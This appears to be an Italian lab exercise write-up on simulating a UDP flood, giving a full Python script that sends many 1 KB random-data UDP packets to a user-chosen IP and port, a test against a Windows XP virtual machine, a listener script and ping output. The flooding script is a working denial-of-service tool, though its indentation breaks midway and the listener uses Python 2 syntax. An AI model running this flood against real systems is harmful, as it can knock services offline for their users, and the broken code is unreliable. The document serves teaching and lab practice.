

Simulazione di un Attacco UDP Flood con Python

Obiettivo dell'Esercizio

Simulare un attacco **UDP Flood** con Python, ovvero inviare un numero elevato di pacchetti UDP da 1 KB verso un IP e una porta specificati.

Requisiti Richiesti

1. **Input dell'IP Target**
 - Inserito dall'utente
 - Validato con il modulo `ipaddress`
2. **Input della Porta Target**
 - Inserita dall'utente
 - Verificata che sia tra 1 e 65535
3. **Costruzione del Pacchetto UDP**
 - Ogni pacchetto è di 1 KB (1024 byte)
 - Generato con `random._urandom()`
4. **Numero di Pacchetti da Inviare**
 - Richiesto all'utente
 - Validato che sia maggiore di zero

Moduli Utilizzati

- `socket` → per creare socket UDP
- `random` → per generare byte casuali
- `ipaddress` → per validare IP

Struttura del Codice

- Funzione `udp_flood(ip, porta, num_pacchetti)`:
 - Crea un socket UDP
 - Genera pacchetti da 1 KB
 - Invia i pacchetti alla destinazione
- Blocco `if __name__ == "__main__":`:
 - Raccoglie i dati da input
 - Valida gli input
 - Esegue la funzione

Codice sorgente:

```
# Importazione dei moduli necessari
import socket          # per creare e gestire socket UDP
import random          # per generare dati casuali da inviare
import ipaddress       # per validare l'indirizzo IP inserito

# Funzione principale che esegue l'invio dei pacchetti UDP
def udp_flood(target_ip, target_port, num_packets):
    try:
        # Creazione di un socket UDP
        client = socket.socket(socket.AF_INET,          socket.SOCK_DGRAM)

        # Generazione di un pacchetto da 1 KB (1024 byte) con dati casuali
        packet = random._urandom(1024)

        print(f"\nInvio di {num_packets} pacchetti da 1 KB a {target_ip}:{target_port}...\n")

        # Ciclo che invia i pacchetti uno alla volta
        for i in range(num_packets):
```

```

        client.sendto(packet, (target_ip, target_port))

        print(f"Pacchetto {i + 1} inviato")

    print("\nAttacco simulato completato.")

except Exception as e:

    # Gestione degli eventuali errori durante l'invio
    print("Errore durante l'invio dei pacchetti:", e)

finally:

    # Chiusura del socket, sempre eseguita
    client.close()

# Parte esecutiva del programma
if __name__ == "__main__":
    try:

        # Richiesta dell'IP target all'utente
        ip = input("Inserisci l'IP della macchina target: ")
        ipaddress.ip_address(ip) # Validazione IP

        # Richiesta della porta target
        port = int(input("Inserisci la porta UDP della macchina target: "))
        if not (1 <= port <= 65535):
            raise ValueError("La porta deve essere compresa tra 1 e 65535")

        # Richiesta del numero di pacchetti da inviare
        num = int(input("Inserisci quanti pacchetti da 1 KB inviare: "))
        if num <= 0:
            raise ValueError("Il numero di pacchetti deve essere maggiore di 0")

        # Chiamata della funzione per eseguire l'attacco simulato
        udp_flood(ip, port, num)

    except ValueError as ve:
        print("Input non valido:", ve)

```

Conclusione del test pratico

Durante la simulazione, è stato eseguito con successo un attacco UDP Flood verso una macchina virtuale con sistema operativo Windows XP, configurata in ambiente di rete locale.

Lo script Python `udp_flood.py`, eseguito da una macchina attaccante, ha inviato una serie di pacchetti UDP da 1 KB verso l'indirizzo IP e la porta specificata della macchina target.

Sul lato Windows XP, è stato attivato un listener UDP (tramite uno script Python), che ha ricevuto correttamente i pacchetti inviati, confermando il corretto funzionamento dell'attacco simulato.

Gli screenshot allegati mostrano:

- l'esecuzione del listener sulla macchina XP;
- l'invio dei pacchetti dalla macchina attaccante;
- la ricezione dei pacchetti con conferma della dimensione (1024 byte).

Ambiente di Test

- **Macchina attaccante:** Kali Linux con Python 3
- **Target:** Macchina Windows XP con IP 192.168.20.30
- **Verifica ricezione:** tramite listener UDP con script Python

Codice sorgente salvato su blocco note in Dekstop su WindowsXP (udp_listener.py)

```
import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('', 9999))

print("In ascolto sulla porta UDP 9999...")

while True:
    data, addr = sock.recvfrom(1024)
    print "Ricevuti", len(data), "byte da", addr
```

```
kali@kali: ~/Desktop/Python
File Actions Edit View Help
(kali@kali)~$ ping 192.168.20.30
PING 192.168.20.30 (192.168.20.30) 56(84) bytes of data:
64 bytes from 192.168.20.30: icmp_seq=1 ttl=128 time=0.631 ms
64 bytes from 192.168.20.30: icmp_seq=2 ttl=128 time=5.08 ms
64 bytes from 192.168.20.30: icmp_seq=3 ttl=128 time=2.20 ms
64 bytes from 192.168.20.30: icmp_seq=4 ttl=128 time=1.98 ms
64 bytes from 192.168.20.30: icmp_seq=5 ttl=128 time=1.96 ms
```



